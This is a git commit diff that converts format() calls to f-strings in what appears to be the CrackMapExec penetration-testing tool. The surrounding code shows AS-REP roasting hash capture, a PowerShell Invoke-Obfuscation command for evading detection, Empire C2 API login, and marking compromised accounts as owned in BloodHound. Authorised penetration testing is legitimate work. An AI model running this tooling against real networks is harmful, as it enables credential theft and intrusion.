convert format() to f-string, update single quote to double, and some PEP8 fixes

main
Marshall Hallenbeck 2023-04-12 00:25:38 -04:00
parent 18c20f116a
commit e6079e4ddf
27 changed files with 779 additions and 872 deletions

View File

@ -101,7 +101,7 @@ class DatabaseNavigator(cmd.Cmd):
self.config = main_menu.config
self.proto = proto
self.db = database
self.prompt = 'cmedb ({})({}) > '.format(main_menu.workspace, proto)
self.prompt = f"cmedb ({main_menu.workspace})({proto}) > "
def do_exit(self, line):
self.db.shutdown_db()
@ -306,10 +306,7 @@ class DatabaseNavigator(cmd.Cmd):
'password': self.config.get('Empire', 'password')
}
# Pull the host and port from the config file
base_url = 'https://{}:{}'.format(
self.config.get('Empire', 'api_host'),
self.config.get('Empire', 'api_port')
)
base_url = f"https://{self.config.get('Empire', 'api_host')}:{self.config.get('Empire', 'api_port')}"
try:
r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
@ -327,7 +324,7 @@ class DatabaseNavigator(cmd.Cmd):
else:
print("[-] Error authenticating to Empire's RESTful API server!")
except ConnectionError as e:
print("[-] Unable to connect to Empire's RESTful API server: {}".format(e))
print(f"[-] Unable to connect to Empire's RESTful API server: {e}")
class CMEDBMenu(cmd.Cmd):
@ -339,7 +336,7 @@ class CMEDBMenu(cmd.Cmd):
self.config = configparser.ConfigParser()
self.config.read(self.config_path)
except Exception as e:
print("[-] Error reading cme.conf: {}".format(e))
print(f"[-] Error reading cme.conf: {e}")
sys.exit(1)
self.conn = None
@ -392,7 +389,7 @@ class CMEDBMenu(cmd.Cmd):
if subcommand == 'create':
new_workspace = line.split()[1].strip()
print("[*] Creating workspace '{}'".format(new_workspace))
print(f"[*] Creating workspace '{new_workspace}'")
self.create_workspace(new_workspace, self.p_loader, self.protocols)
self.do_workspace(new_workspace)
elif subcommand == 'list':
@ -406,7 +403,7 @@ class CMEDBMenu(cmd.Cmd):
self.config.set('CME', 'workspace', line)
self.write_configfile()
self.workspace = line
self.prompt = 'cmedb ({}) > '.format(line)
self.prompt = f"cmedb ({line}) > "
def help_workspace(self):
help_string = """
@ -429,21 +426,21 @@ def create_workspace(workspace_name, p_loader, protocols):
for protocol in protocols.keys():
try:
protocol_object = p_loader.load_protocol(protocols[protocol]['dbpath'])
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
except KeyError:
continue
proto_db_path = os.path.join(WORKSPACE_DIR, workspace_name, protocol + '.db')
proto_db_path = os.path.join(WORKSPACE_DIR, workspace_name, protocol + ".db")
if not os.path.exists(proto_db_path):
print('[*] Initializing {} protocol database'.format(protocol.upper()))
print(f"[*] Initializing {protocol.upper()} protocol database")
conn = sqlite3.connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute('PRAGMA journal_mode = OFF')
c.execute('PRAGMA foreign_keys = 1')
c.execute("PRAGMA journal_mode = OFF")
c.execute("PRAGMA foreign_keys = 1")
getattr(protocol_object, 'database').db_schema(c)
getattr(protocol_object, "database").db_schema(c)
# commit the changes and close everything off
conn.commit()
@ -455,30 +452,30 @@ def delete_workspace(workspace_name):
def initialize_db(logger):
if not os.path.exists(os.path.join(WS_PATH, 'default')):
logger.debug('Creating default workspace')
os.mkdir(os.path.join(WS_PATH, 'default'))
if not os.path.exists(os.path.join(WS_PATH, "default")):
logger.debug("Creating default workspace")
os.mkdir(os.path.join(WS_PATH, "default"))
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols.keys():
try:
protocol_object = p_loader.load_protocol(protocols[protocol]['dbpath'])
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
except KeyError:
continue
proto_db_path = os.path.join(WS_PATH, 'default', protocol + '.db')
proto_db_path = os.path.join(WS_PATH, "default", protocol + ".db")
if not os.path.exists(proto_db_path):
logger.debug('Initializing {} protocol database'.format(protocol.upper()))
logger.debug(f"Initializing {protocol.upper()} protocol database")
conn = sqlite3.connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute('PRAGMA journal_mode = OFF') # could try setting to PERSIST if DB corruption starts occurring
c.execute('PRAGMA foreign_keys = 1')
c.execute("PRAGMA journal_mode = OFF") # could try setting to PERSIST if DB corruption starts occurring
c.execute("PRAGMA foreign_keys = 1")
# set a small timeout (5s) so if another thread is writing to the database, the entire program doesn't crash
c.execute('PRAGMA busy_timeout = 5000')
getattr(protocol_object, 'database').db_schema(c)
c.execute("PRAGMA busy_timeout = 5000")
getattr(protocol_object, "database").db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()

View File

@ -8,6 +8,8 @@ from threading import BoundedSemaphore
from functools import wraps
from time import sleep
from cme.config import pwned_label
from cme.helpers.logger import highlight
from cme.logger import cme_logger, CMEAdapter
from cme.context import Context
@ -124,7 +126,7 @@ class connection(object):
for k, v in vars(self.args).items():
if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
if v is not False and v is not None:
self.logger.debug('Calling {}()'.format(k))
self.logger.debug(f"Calling {k}()")
r = getattr(self, k)()
def call_modules(self):
@ -359,3 +361,6 @@ class connection(object):
if not self.over_fail_limit(user):
if self.kerberos_login(self.domain, user, '', '', aesKey.strip(), self.kdcHost, False):
return True
def mark_pwned(self):
return highlight(f"({pwned_label})" if self.admin_privs else "")

View File

@ -166,7 +166,7 @@ def main():
if args.list_modules:
for name, props in sorted(modules.items()):
cme_logger.display('{:<25} {}'.format(name, props['description']))
cme_logger.display(f"{name:<25} {props['description']}")
sys.exit(0)
elif args.module and args.show_module_options:
for module in args.module:

View File

@ -22,7 +22,7 @@ def first_run_setup(logger=cme_logger):
folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts', 'screenshots']
for folder in folders:
if not os.path.exists(os.path.join(CME_PATH, folder)):
logger.display("Creating missing folder {}".format(folder))
logger.display(f"Creating missing folder {folder}")
os.mkdir(os.path.join(CME_PATH, folder))
initialize_db(logger)

View File

@ -13,7 +13,7 @@ def add_user_bh(user, domain, logger, config):
except:
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
uri = "bolt://{}:{}".format(config.get('BloodHound', 'bh_uri'), config.get('BloodHound', 'bh_port'))
uri = f"bolt://{config.get('BloodHound', 'bh_uri')}:{config.get('BloodHound', 'bh_port')}"
driver = GraphDatabase.driver(uri, auth=(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass')), encrypted=False)
try:
@ -28,19 +28,24 @@ def add_user_bh(user, domain, logger, config):
account_type = 'User'
result = tx.run(
"MATCH (c:{} {{name:\"{}\"}}) RETURN c".format(account_type, user_owned))
f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) RETURN c"
)
if result.data()[0]['c'].get('owned') in (False, None):
logger.debug("MATCH (c:{} {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(account_type, user_owned))
logger.debug(
f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) SET c.owned=True RETURN c.name AS name"
)
result = tx.run(
"MATCH (c:{} {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(account_type, user_owned))
logger.highlight("Node {} successfully set as owned in BloodHound".format(user_owned))
f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) SET c.owned=True RETURN c.name AS name"
)
logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
except AuthError as e:
logger.error(
"Provided Neo4J credentials ({}:{}) are not valid.".format(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass')))
f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid."
)
return
except ServiceUnavailable as e:
logger.error("Neo4J does not seem to be available on {}.".format(uri))
logger.error(f"Neo4J does not seem to be available on {uri}.")
return
except Exception as e:
logger.error("Unexpected error with Neo4J")

View File

@ -6,13 +6,13 @@ from termcolor import colored
def write_log(data, log_name):
logs_dir = os.path.join(os.path.expanduser('~/.cme'), 'logs')
with open(os.path.join(logs_dir, log_name), 'w') as log_output:
logs_dir = os.path.join(os.path.expanduser("~/.cme"), "logs")
with open(os.path.join(logs_dir, log_name), "w") as log_output:
log_output.write(data)
def highlight(text, color='yellow'):
if color == 'yellow':
return u'{}'.format(colored(text, 'yellow', attrs=['bold']))
elif color == 'red':
return u'{}'.format(colored(text, 'red', attrs=['bold']))
def highlight(text, color="yellow"):
if color == "yellow":
return f"{colored(text, 'yellow', attrs=['bold'])}"
elif color == "red":
return f"{colored(text, 'red', attrs=['bold'])}"

View File

@ -42,11 +42,7 @@ def obfs_ps_script(path_to_script):
cme_logger.display('Performing one-time script obfuscation, go look at some memes cause this can take a bit...')
invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "TOKEN,ALL,1,OUT {}" -Quiet\''.format(
get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
get_ps_script(path_to_script),
obfs_ps_script
)
invoke_obfs_command = f"powershell -C 'Import-Module {get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1')};Invoke-Obfuscation -ScriptPath {get_ps_script(path_to_script)} -Command \"TOKEN,ALL,1,OUT {obfs_ps_script}\" -Quiet'"
cme_logger.debug(invoke_obfs_command)
with open(os.devnull, 'w') as devnull:

View File

@ -19,26 +19,26 @@ class ModuleLoader:
Check if a module has the proper attributes
"""
module_error = False
if not hasattr(module, 'name'):
self.logger.error('{} missing the name variable'.format(module_path))
if not hasattr(module, "name"):
self.logger.error(f"{module_path} missing the name variable")
module_error = True
elif not hasattr(module, 'description'):
self.logger.error('{} missing the description variable'.format(module_path))
elif not hasattr(module, "description"):
self.logger.error(f"{module_path} missing the description variable")
module_error = True
elif not hasattr(module, 'supported_protocols'):
self.logger.error('{} missing the supported_protocols variable'.format(module_path))
elif not hasattr(module, "supported_protocols"):
self.logger.error(f"{module_path} missing the supported_protocols variable")
module_error = True
elif not hasattr(module, 'opsec_safe'):
self.logger.error('{} missing the opsec_safe variable'.format(module_path))
elif not hasattr(module, "opsec_safe"):
self.logger.error(f"{module_path} missing the opsec_safe variable")
module_error = True
elif not hasattr(module, 'multiple_hosts'):
self.logger.error('{} missing the multiple_hosts variable'.format(module_path))
elif not hasattr(module, "multiple_hosts"):
self.logger.error(f"{module_path} missing the multiple_hosts variable")
module_error = True
elif not hasattr(module, 'options'):
self.logger.error('{} missing the options function'.format(module_path))
elif not hasattr(module, "options"):
self.logger.error(f"{module_path} missing the options function")
module_error = True
elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'):
self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path))
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
self.logger.error(f"{module_path} missing the on_login/on_admin_login function(s)")
module_error = True
# elif not hasattr(module, 'chain_support'):
# self.logger.error('{} missing the chain_support variable'.format(module_path))
@ -59,7 +59,7 @@ class ModuleLoader:
if self.module_is_sane(module, module_path):
return module
except Exception as e:
self.logger.error('Failed loading module at {}: {}'.format(module_path, e))
self.logger.error(f"Failed loading module at {module_path}: {e}")
return None
def init_module(self, module_path):
@ -103,7 +103,7 @@ class ModuleLoader:
if self.module_is_sane(module_spec, module_path):
return module
except Exception as e:
self.logger.error('Failed loading module at {}: {}'.format(module_path, e))
self.logger.error(f"Failed loading module at {module_path}: {e}")
return None
def list_modules(self):

View File

@ -37,7 +37,7 @@ class CMEAdapter(logging.LoggerAdapter):
This is used instead of process() since process() applies to _all_ messages, including debug calls
"""
if self.extra is None:
return u'{}'.format(msg), kwargs
return f"{msg}", kwargs
if 'module_name' in self.extra.keys():
if len(self.extra["module_name"]) > 8:
@ -57,12 +57,7 @@ class CMEAdapter(logging.LoggerAdapter):
else:
module_name = colored(self.extra["protocol"], 'blue', attrs=["bold"])
return '{:<24} {:<15} {:<6} {:<16} {}'.format(
module_name,
self.extra["host"],
self.extra["port"],
self.extra["hostname"] if self.extra["hostname"] else "NONE",
msg), kwargs
return f"{module_name:<24} {self.extra['host']:<15} {self.extra['port']:<6} {self.extra['hostname'] if self.extra['hostname'] else 'NONE':<16} {msg}", kwargs
def display(self, msg, *args, **kwargs):
"""

View File

@ -234,7 +234,7 @@ class ldap(connection):
def get_os_arch(self):
try:
string_binding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
string_binding = fr"ncacn_ip_tcp:{self.host}[135]"
transport = DCERPCTransportFactory(string_binding)
transport.set_connect_timeout(5)
dce = transport.get_dce_rpc()
@ -251,7 +251,7 @@ class ldap(connection):
dce.disconnect()
return 64
except Exception as e:
self.logger.fail('Error retrieving os arch of {}: {}'.format(self.host, str(e)))
self.logger.fail(f"Error retrieving os arch of {self.host}: {str(e)}")
return 0
@ -310,28 +310,25 @@ class ldap(connection):
# Re-connect since we logged off
self.create_conn_obj()
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
self.output_filename = os.path.expanduser(
f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}"
)
self.output_filename = self.output_filename.replace(":", "-")
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
if self.args.no_smb:
self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "389"
self.logger.display(u"Connecting to LDAP {}".format(self.hostname))
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
self.logger.display(f"Connecting to LDAP {self.hostname}")
# self.logger.display(self.endpoint)
else:
self.logger.extra['protocol'] = "SMB" if not self.no_ntlm else "LDAP"
self.logger.extra['port'] = "445" if not self.no_ntlm else "389"
self.logger.success(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(
self.server_os,
' x{}'.format(self.os_arch) if self.os_arch else '',
self.hostname,
self.domain,
self.signing,
self.smbv1)
self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP"
self.logger.extra["port"] = "445" if not self.no_ntlm else "389"
self.logger.success(
f"{self.server_os}{' x{}'.format(self.os_arch) if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) (signing:{self.signing}) (SMBv1:{self.smbv1})"
)
self.logger.extra['protocol'] = "LDAP"
self.logger.extra["protocol"] = "LDAP"
# self.logger.display(self.endpoint)
return True
@ -347,8 +344,8 @@ class ldap(connection):
nthash = ''
self.username = username
# This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
if ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
self.hash = nthash
else:
nthash = ntlm_hash
@ -358,12 +355,12 @@ class ldap(connection):
if nthash:
self.nthash = nthash
if self.password == '' and self.args.asreproast:
if self.password == "" and self.args.asreproast:
hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username)
if hash_tgt:
self.logger.highlight(u'{}'.format(hash_tgt))
with open(self.args.asreproast, 'a+') as hash_asreproast:
hash_asreproast.write(hash_tgt + '\n')
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_tgt + "\n")
return False
if not all('' == s for s in [self.nthash, password, aesKey]):
@ -393,16 +390,10 @@ class ldap(connection):
self.check_if_admin()
out = u'{}\\{}{} {}'.format(
domain,
self.username,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
out = f"{domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
self.logger.success(out)
if not self.args.local_auth:
@ -411,35 +402,26 @@ class ldap(connection):
return True
except SessionKeyDecryptionError:
# for PRE-AUTH account
self.logger.success(u'{}\\{}{} {}'.format(
domain,
self.username,
" account vulnerable to asreproast attack",
""),
self.logger.success(
f"{domain}\\{self.username}{' account vulnerable to asreproast attack'} {''}",
color='yellow'
)
return False
except SessionError as e:
error, desc = e.getErrorString()
self.logger.fail(u'{}\\{}{} {}'.format(
self.domain,
self.username,
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
str(error)),
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(error)}",
color='magenta' if error in ldap_error_status else 'red'
)
return False
except (KeyError, KerberosException, OSError) as e:
self.logger.fail(u'{}\\{}{} {}'.format(
self.domain,
self.username,
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
str(e)),
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(e)}",
color='red'
)
return False
except ldap_impacket.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
# Connect to LDAPS
@ -463,14 +445,10 @@ class ldap(connection):
self.check_if_admin()
# Prepare success credential text
out = u'{}\\{} {}'.format(
domain,
self.username,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
out = f"{domain}\\{self.username} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
self.logger.extra['protocol'] = "LDAPS"
self.logger.extra['port'] = "636"
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
self.logger.success(out)
if not self.args.local_auth:
@ -479,31 +457,22 @@ class ldap(connection):
return True
except ldap_impacket.LDAPSessionError as e:
error_code = str(e).split()[-2][:-1]
self.logger.fail(u'{}\\{}:{} {}'.format(
self.domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color='magenta' if error_code in ldap_error_status else 'red'
)
return False
except SessionError as e:
error, desc = e.getErrorString()
self.logger.fail(u'{}\\{}{} {}'.format(
self.domain,
self.username,
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
str(error)),
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {str(error)}",
color='magenta' if error in ldap_error_status else 'red'
)
return False
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(u'{}\\{}{} {}'.format(
self.domain,
self.username,
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
self.logger.fail(
f"{self.domain}\\{self.username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color='magenta' if error_code in ldap_error_status else 'red'
)
return False
@ -513,11 +482,11 @@ class ldap(connection):
self.password = password
self.domain = domain
if self.password == '' and self.args.asreproast:
if self.password == "" and self.args.asreproast:
hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username)
if hash_tgt:
self.logger.highlight(u'{}'.format(hash_tgt))
with open(self.args.asreproast, 'a+') as hash_asreproast:
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_tgt + '\n')
return False
@ -531,15 +500,10 @@ class ldap(connection):
self.check_if_admin()
# Prepare success credential text
out = u'{}\\{}:{} {}'.format(
domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
out = f"{domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
self.logger.success(out)
if not self.args.local_auth:
@ -547,7 +511,7 @@ class ldap(connection):
if not self.args.continue_on_success:
return True
except ldap_impacket.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
# Connect to LDAPS
@ -558,14 +522,9 @@ class ldap(connection):
self.check_if_admin()
# Prepare success credential text
out = u'{}\\{}:{} {}'.format(
domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
self.logger.extra['protocol'] = "LDAPS"
self.logger.extra['port'] = "636"
out = f"{domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
self.logger.success(out)
if not self.args.local_auth:
@ -574,42 +533,32 @@ class ldap(connection):
return True
except ldap_impacket.LDAPSessionError as e:
error_code = str(e).split()[-2][:-1]
self.logger.fail(u'{}\\{}:{} {}'.format(
self.domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
)
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(u'{}\\{}:{} {}'.format(
self.domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
)
return False
except OSError as e:
self.logger.fail(u'{}\\{}:{} {} \nError: {}'.format(
self.domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
"Error connecting to the domain, are you sure LDAP service is running on the target?",
e
))
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}"
)
return False
def hash_login(self, domain, username, ntlm_hash):
self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "389"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
lmhash = ""
nthash = ""
# This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
if ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
else:
nthash = ntlm_hash
@ -622,12 +571,12 @@ class ldap(connection):
self.username = username
self.domain = domain
if self.hash == '' and self.args.asreproast:
if self.hash == "" and self.args.asreproast:
hash_tgt = KerberosAttacks(self).getTGT_asroast(self.username)
if hash_tgt:
self.logger.highlight(u'{}'.format(hash_tgt))
with open(self.args.asreproast, 'a+') as hash_asreproast:
hash_asreproast.write(hash_tgt + '\n')
self.logger.highlight(f"{hash_tgt}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_tgt + "\n")
return False
try:
@ -640,14 +589,9 @@ class ldap(connection):
self.check_if_admin()
# Prepare success credential text
out = u'{}\\{}:{} {}'.format(
domain,
self.username,
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
out = f"{domain}\\{self.username}:{self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "636" if (self.args.gmsa or self.args.port == 636) else "389"
self.logger.success(out)
if not self.args.local_auth:
@ -655,7 +599,7 @@ class ldap(connection):
if not self.args.continue_on_success:
return True
except ldap_impacket.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0:
if str(e).find("strongerAuthRequired") >= 0:
try:
# We need to try SSL
ldaps_url = f"{proto}://{self.target}"
@ -665,14 +609,9 @@ class ldap(connection):
self.check_if_admin()
# Prepare success credential text
out = u'{}\\{}:{} {}'.format(
domain,
self.username,
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
)
self.logger.extra['protocol'] = "LDAPS"
self.logger.extra['port'] = "636"
out = f"{domain}\\{self.username}:{self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')}"
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
self.logger.success(out)
if not self.args.local_auth:
@ -681,31 +620,21 @@ class ldap(connection):
return True
except ldap_impacket.LDAPSessionError as e:
error_code = str(e).split()[-2][:-1]
self.logger.fail(u'{}\\{}:{} {}'.format(
self.domain,
self.username,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
self.logger.fail(
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
)
else:
error_code = str(e).split()[-2][:-1]
self.logger.fail(u'{}\\{}:{} {}'.format(
self.domain,
self.username,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
ldap_error_status[error_code] if error_code in ldap_error_status else ''),
self.logger.fail(
f"{self.domain}\\{self.username}:{nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
color='magenta' if (error_code in ldap_error_status and error_code != 1) else 'red'
)
return False
except OSError as e:
self.logger.fail(u'{}\\{}:{} {} \nError: {}'.format(
self.domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8,
"Error connecting to the domain, are you sure LDAP service is running on the target?",
e
))
self.logger.fail(
f"{self.domain}\\{self.username}:{self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}"
)
return False
def create_smbv1_conn(self):
@ -716,11 +645,11 @@ class ldap(connection):
if self.conn:
self.logger.debug(f"SMBv1 Connection successful")
except socket.error as e:
if str(e).find('Connection reset by peer') != -1:
self.logger.debug('SMBv1 might be disabled on {}'.format(self.host))
if str(e).find("Connection reset by peer") != -1:
self.logger.debug(f"SMBv1 might be disabled on {self.host}")
return False
except Exception as e:
self.logger.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e))
self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
return False
return True
@ -734,7 +663,7 @@ class ldap(connection):
except socket.error:
return False
except Exception as e:
self.logger.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e))
self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}")
return False
return True
@ -750,7 +679,7 @@ class ldap(connection):
return True
def get_sid(self):
self.logger.highlight('Domain SID {}'.format(self.sid_domain))
self.logger.highlight(f"Domain SID {self.sid_domain}")
def sid_to_str(self, sid):
try:
@ -837,11 +766,11 @@ class ldap(connection):
def users(self):
# Building the search filter
search_filter = "(sAMAccountType=805306368)"
attributes = ['sAMAccountName', 'description', 'badPasswordTime', 'badPwdCount', 'pwdLastSet']
attributes = ["sAMAccountName", "description", "badPasswordTime", "badPwdCount", "pwdLastSet"]
resp = self.search(search_filter, attributes, sizeLimit=0)
if resp:
answers = []
self.logger.display('Total of records returned %d' % len(resp))
self.logger.display(f"Total of records returned {len(resp):d}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
